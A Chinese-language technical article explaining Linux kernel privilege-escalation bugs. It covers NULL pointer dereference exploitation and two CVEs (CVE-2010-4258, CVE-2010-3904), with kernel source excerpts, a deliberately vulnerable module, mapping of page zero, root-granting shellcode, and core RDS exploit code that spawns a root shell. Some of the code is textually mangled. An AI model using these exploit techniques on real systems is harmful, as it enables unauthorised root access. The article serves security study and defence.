系统内核因包含大量关键资源的分配与调度,如用于进程、资源和内存分配的处理、通信协议的实现等,故其安全性是至关重要的。然而,内核设计的复杂性却造就了多样化和有趣的逻辑错误,系统内核包含许多子系统模块的实现代码,子系统之间通过复杂的接口交互;另外,系统内核还包含大量的用户数据接入点,如系统调用、IOCTLs、文件系统及网络连接等,允许可控的用户数据成功访问到内核中的重要代码区,这些都是可能被黑客利用的漏洞。Google两位工程师Julien Tinnes和Tavis Ormandy在过去几年间发现了近20余个内核级bug,其中大部分至今仍未修复。Tinnes称,Linux内核中存在一些内存破坏错误、六个经典的缓冲区溢出错误以及空指针引用,它指向存储在机器内存中的数据。本文将深入分析Linux系统内核主流版本存在的一些安全漏洞。 NULL指针解引用漏洞 NULL指针解引用是最常见的漏洞之一。指针即包含内存中某一变量的地址值,当指针解引用时,即可获取内存地址中存放的变量值。一个静态未初始化的指针,其内容为 NULL即(0x0).在内核代码中NULL值常在变量初始化、设置为缺省值或者作为一个错误返回值时使用。在系统中,虚拟地址空间分为两个部分,分别称为内核空间和用户进程空间,当内核尝试解引用一个NULL指针时,若用户又允许映射NULL地址(如首个页面包含0地址),则可直接或间接控制内核代码路径。(注:NULL指针引用BUG主要是因进程在执行指针解引用时,没有检查其合法性造成的,若待解引用的地址为NULL,则在内核态访问NULL指针时会引发Oops,此时若黑客在用户态将NULL地址设置为可执行并注入恶意代码,则内核代码将会执行NULL地址的恶意指令。下面将具体分析Linux内核是如何处理空指针引用的。 在程序的执行过程中,因某种原因使CPU无法访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射时,CPU会产生一次缺页异常,从而进行相应的缺页异常处理,如目标页面不存在(页表项全 0,即该线性地址与物理地址尚未建立映射或者已经撤销)或者相应的物理页面不在内存中(如在swap分区或磁盘文件上)等。当CPU捕获到这个异常的时候就会引发一次缺页异常中断,并调用do_page_fault()函数来判断和处理这些异常。 下面我们具体分析内核是如何处理引用NULLpointer异常的,do_page_fault()函数源码部分实现如下:(注:感兴趣的读者也可参见源码arch\i386\mm\fault.c程序文件中此函数的具体实现) fastcall void __kprobes do_page_fault(struct pt_regs *regs, unsigned long error_code){ struct task_struct *tsk; struct mm_struct *mm; struct vm_area_struct * vma; unsigned long address; unsigned long page; int write, si_code; /*通过cr2寄存器得到引发异常的线性地址 */ address = read_cr2(); tsk = current; si_code = SEGV_MAPERR; ****** switch (handle_mm_fault(mm, vma, address, write)) { case VM_FAULT_SIGBUS: /*0,向进程发送SIGBUS信号*/ goto do_sigbus; case VM_FAULT_OOM: /*没有足够的内存*/ goto out_of_memory; default: BUG(); } no_context: /*代码跳到一段“修正代码”处,这段代码的典型操作就是向当前进程发送SIGSEGV信号,或用一个适当的出错码终止系统调用处理程序 */ if (fixup_exception(regs)) return; if (is_prefetch(regs, address, error_code)) return; /*如果是由于内核自己访问了用户空间的无效地址,则就会引发0ops,即内核级的Segmentation Fault */ if (oops_may_print()) { /*如果这个地址小于PAGE_SIZE,一般为4096字节,内核就认为这是一次空指针操作,开始打印OOPS信息 */ if (address PAGE_SIZE) printk(KERN_ALERT BUG: unable to handle kernel NULL pointer dereference); else printk(KERN_ALERT BUG: unable to handle kernel paging request); printk( at virtual address %08lx\n,address); printk(KERN_ALERT printing eip:\n); printk(%08lx\n, regs-eip); } page = read_cr3(); page = ((unsigned long *) __va(page))[address 22]; if (oops_may_print()) printk(KERN_ALERT *pde = %08lx\n, page); tsk-thread.cr2 = address; tsk-thread.trap_no = 14; tsk-thread.error_code = error_code; die(Oops, regs, error_code); bust_spinlocks(0); do_exit(SIGKILL); ******** do_sigbus: up_read(&mm-mmap_sem); /*发送一个SIGSEGV信号(或者返回一个错误码终止程序处理)并杀死进程*/ if (!(error_code & 4)) goto no_context; /*把线性地址当做系统调用的参数(错误的系统调用参数)引起异常 */ if (is_prefetch(regs, address, error_code)) return; tsk-thread.cr2 = address; tsk-thread.error_code = error_code; tsk-thread.trap_no = 14; force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk); } 从上面的程序代码可知,系统内核是如何处理一个NULL pointer引用即函数把CPU寄存器和内核态堆栈的全部转储打印到控制台,并输出到一个系统消息缓冲区,当前进程eip停止在0x0处,打印OOPS信息,然后宕机。既然发生OOPS的时候eip停留在内存0x0地址上,则黑客只需要精心构造一个 shellcode放置在内存 0地址上,并且促使内核运行此shellcode即可实现他们的目的如权限提升等。 实例分析 下面我们在/proc文件系统中使用create_proc_entry函数创建一个虚拟文件/proc/bug,此函数可以接收一个文件名、一组权限和这个文件在 /proc文件系统中出现的位置。create_proc_entry的返回值是一个proc_dir_entry指针(或者为 NULL,说明在create时发生了错误),然后对返回的指针来配置为对该文件执行写操作时应该调用的函数write_proc,代码如下: void (* my_funptr )( void ); //定义一个未初始化的NULL指针函数 int bug_write ( struct file *file ,const char *buf ,unsigned long len) { my_funptr (); //调用NULL指针函数,执行NULL地址 return len; } int exploit_init ( void ) { struct proc_dir_entry *ptr = create_proc_entry ( bug , 0666 , 0); ptr- write_proc = bug_write ; //使用 write_proc命令指定对此文件进行写操作的函数 return 0; } int exploit_exit(void){ printk(KERN_EMERG“exploit exit\n”); } module_init(exploit_init); module_exit(exploit_exit); 上面的程序编译后,生成exploit.ko文件,执行命令insmodexploit.ko加载此模块,然后在/proc/bug文件内写入foo时,将打印如下错误信息: 由上面的程序演示得知,只要我们能够在EIP地址处,精心构造一个shellcode,即可使其执行此shellcode,如修改当前进程current的uid, gid字段使其变为0,从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行“system (/ bin/sh)”命令等。现在的问题是如何使内核运行用户态的代码即我们构造的shellcode呢。Linux系统提供了一个系统调用mmap,利用此函数可以通过建立匿名映射,并配合MAP_FIXED标志将用户空间代码映射到内存NULL地址。采用匿名映射的主要原因是,可以有效避免文件的创建及打开而引发的Oops.映射代码如下: mmap (0, 4096 , PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 注意:flags字段需要设置MAP_ANONYMOUS属性,不然系统就要根据fd来获得文件file指针。然后将进行构造好的shellcode拷贝到此区域即可,执行如下命令:memcpy(0,shellcode,sizeof ( shellcode ));最后调用open函数打开文件/proc/bug,然后执行write(fd,”foo”,3)命令,即会跳转到shellcode地址处,执行shellcode机器码。好了,现在我们只需要构造一个具有获取root权限的shellcode即可,Linux下获取root权限的shellcode构造方式很多,这里只简单给出一种方法,即通过调用commit_creds(prepare_kernel_cred(0))函数,将root权限交给当前进程。最简单的方式即通过硬编码:$ grep _cred / proc / kallsyms来获取此函数在内核中的地址,但这种方法兼容性不好。获取到它们在内核中的地址后,即可通过编译此汇编代码然后执行objdunp命令,获取其对应的机器码,即shellcode值。假设汇编代码为: xor %eax , %eax # %eax := 0 call 0 xc104800f # prepare_kernel_cred call 0 xc1048177 # commit_creds ret 执行命令“gcc -o shellcode shellcode.s -nostdlib -Ttext =0”即可编译此汇编程序,然后执行命令“objdump -d shellcode”获取shellcode.故,此时系统jmp到此位置,然后执行此shellcode机器码即实现了普通权限向root权限的转变,此时即可在系统调用完成返回用户空间的时候执行“system(“/bin/sh”)”等操作了。 内核任意地址可写漏洞 1. CVE-2010-4258漏洞分析 Linux存在一个特性即当一个线程被kill掉时,系统会通知用户空间。在线程创建时,用户空间就会提供一个指针,以便内核向此指针写入0操作,返回给用户。部分代码如下所示: static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size,int __user *child_tidptr, struct pid *pid,int trace){ p-set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; p-clear_child_tid=(clone_flags&CLONE_CHILD_CLEARTID)?child_tidptr: NULL; } 图片1.png 当CLONE_CHILD_CLEARTID标志被设置的时候,copy_process会把child_tidptr指针赋值给p-clear_child_tid,最重要的是child_tidptr是从用户空间传递进来的,可以通过clone系统调用,配合CLONE_CHILD_CLEARTID标志,将child_tidptr传递给内核。当一个进程在exit的时候,do_exit()会执行如下操作: void mm_release(struct task_struct *tsk, struct mm_struct *mm){ if (tsk-clear_child_tid) { if (!(tsk-flags & PF_SIGNALED) && atomic_read(&mm-mm_users) 1) { /*这里并没有校验用户空间上传的指针是否合法*/ put_user(0, tsk-clear_child_tid); sys_futex(tsk-clear_child_tid, FUTEX_WAKE,1, NULL, NULL, 0);} tsk-clear_child_tid = NULL; }} 上述代码中,clear_child_tid变量是用户空间可直接操作的变量值,若内核未对此变量进行检查,则很可能被黑客利用,对内核中的任意变量进行清0操作。尽管官方已经对此漏洞进行了修复,增加了用户指针的校验即比较要访问的addr是否高于进程地址上限,若高于地址上限,则不会进行拷贝操作。但当黑客通过各种手段如设计一个oops发生,使其出现如下操作时: set_fs ( KERNEL_DS ); ... put_user (0, pointer_to_kernel_memory ); ... set_fs ( USER_DS ); 上述代码中,set_fs将当前进程的地址空间上限设为KERNL_DS,此时则可绕过put_user的那个指针检查,从而实现对任意一个内核地址空间写入NULL。 2. CVE-2010-3904漏洞分析 Linux使用了iovec结构执行recvmsg()样式套接字调用,以允许用户指定用于接收套接字数据的缓冲区基址和大小。每个报文家族负责定义拷贝套接字数据的函数,内核接收到这些数据后返回给用户空间以便用户程序处理所接收到的网络数据。但在将数据拷贝到用户空间时,RDS协议没有确认用户所提供 iovec结构的基址指向了有效的用户空间地址便使用__copy_to_user_inatomic()函数拷贝数据。因此,如果任意指定一个内核地址为iovec基址并发布recvmsg()样式套接字调用,攻击者就可实现向内核内存中写入任意数据,导致root用户权限提升。 利用此漏洞实现内核地址空间任意写的步骤如下: (1 )搜索内核镜像地址; unsigned long get_kernel_sym ( char * name ) { FILE *f = fopen (/ proc / kallsyms , r); ... sock_ops = get_kernel_sym ( rds_proto_ops ); rds_ioctl = get_kernel_sym ( rds_ioctl ); (2)创建一对可靠数据包套接字RDS;int prep_sock (int port ); (3 )接受一个数据包,覆盖任意设计好的内核函数地址; void get_message ( unsigned long address , int sock ); void send_message ( unsigned long value , int sock ); (4 )促使内核调用此函数地址; 核心代码解析: void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock){ if(!fork()) { sleep(1); send_message(value, sendsock); exit(1); } else { get_message(addr, recvsock); wait(NULL); }} int __attribute__((regparm(3)))getroot(void * file, void * vma){ commit_creds(prepare_kernel_cred(0)); return -1; } int main(int argc, char * argv[]){ //获取rds_ioctl函数地址值 sock_ops = get_kernel_sym ( rds_proto_ops ); rds_ioctl = get_kernel_sym ( rds_ioctl ); commit_creds = (_commit_creds) get_kernel_sym(commit_creds); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(prepare_kernel_cred); target = sock_ops + 9 * sizeof ( void *); sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT); /*覆盖函数ptrace_traceme地址值,使其指向commit_creds地址*/ printf([*] Overwriting function pointer...\n); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /*触发此payload并获取root权限后,恢复原函数地址*/ ioctl ( sendsock , 0, NULL ); printf([*] Restoring function pointer...\n); write_to_mem(target, rds_ioctl, sendsock, recvsock); printf([*] Got root!\n); execl(/bin/sh, sh, NULL); } 小结 最近几年关于Linux内核漏洞利用的研究关注更多,常见的内核提权漏洞大致为以下几种即空指针引用,内核堆栈溢出,内核slab溢出,内核任意地址可写等等。本文只是简单了描述了空指针引用和内核任意地址写漏洞,内核堆栈溢出漏洞笔者《系统内核漏洞利用迁移技术》一文已经分析过就没有再给出。至于内核slab内存溢出漏洞,读者感兴趣可以参考sqrkkyu在Phrack #64上发表的文章“Attacking the Core : Kernel ExploitingNotes”及Enrico Perla出版的《A Guide to Kernel Exploitation: Attacking the Core》一书。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。